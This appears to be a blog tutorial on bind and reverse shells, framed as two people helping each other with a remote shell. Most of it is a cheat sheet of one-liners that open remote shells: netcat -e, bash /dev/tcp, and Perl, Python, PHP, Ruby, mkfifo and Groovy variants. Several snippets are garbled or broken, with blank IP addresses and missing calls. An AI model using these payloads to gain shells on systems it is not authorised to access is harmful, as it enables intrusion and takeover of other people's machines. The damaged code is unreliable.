Connecting Shell Remotely: Bind Shell and Reverse Shell

Home / Connecting Shell Remotely: Bind Shell and Reverse Shell

Shell, a little program acts as intermediary between user and the kernel, is a program which is always exists on any operating system. In Unix, you have bash / csh / zsh or etc while in Windows you get cmd. Shell provides user an interface which enable user to access the kernel services.

There are many ways to access a shell remotely (accessing other computer). One might prefer accessing over SSH. However, add a new account / SSH key / .rhosts file is sometimes impossible when you don’t have enough privileges. Your next option is using different method without involving any third party.

In the rest of this article we would use following scenario:

+-----------------+               _______________           +----------------+
| Alisia          |  Behind NAT  /              /           | Raite          |
| With Private ip | ----> ----> /  Internet    /----> ----> | with Public IP |
+-----------------+            /______________/             +----------------+

We have two player: Alisia and Raite. Alisia is on network A, behind a NAT and having a private IP. World can’t communicate with her directly (use router as a medium, if allowed). Raite is on network B, using public IP. World can communicate with him directly, just contact the IP.

Also we will use netcat on some sections.

The commands are also suppose to be one line only so it can be pasted into a single command.

Bind Shell

In bind shell method, a target machine bind his shell (cmd.exe or bash) to a specific port. After that, people connect to the specified port.

Let’s suppose Raite has encountered some problem with his system. Using Bind Shell method, he open his shell to port 8000 and ask Alisia for help.

Raite’s End

Raite bind himself to a specific port. He then listen for incoming connections and people then can access his shell remotely. Let’s say the port we choose is 8000


In Unix, suppose your bash is in /usr/bin/bash:

nc -lvp 8000 -e /usr/bin/bash

In Windows, use:

nc -lvp 8000 -e cmd.exe

Alisia’s End

Alisia act as a client. She then connect to Raite and control Raite’s shell (the other end).

Assuming the port used by Raite is 8000 (as stated in previous section) and has IP


nc 8000

Reverse Shell

In reverse shell, a client bind his shell to specific port. A target then connect to client to specified port. Then, the data (result) is streamed to client machine over the connection.

Let’s suppose today Alisia has problem with his machine. But as she is behind a NAT network, she can’t ask Raite to connect to her machine. But, Raite has. Therefore, we use reverse shell method.

Raite’s End

Listening for a connection. He binds to a specific command. When incoming connection arrive, He can control shell on the other side.

Suppose the port chosen is 8000


nc -lvp 8000

Alisia’s End

Would bind her shell and send it to Raite through network (connect).

Alisia would stream her data to Raite. Suppose Raite’s IP is and use port 8000


Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/ 0>&1


Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("",8000);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.


ruby -rsocket -e'"",8000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 8000

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8000 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


About Author

about author


A man who is obsessed to low level technology.

Leave a Reply

Your email address will not be published. Required fields are marked *

Social media & sharing icons powered by UltimatelySocial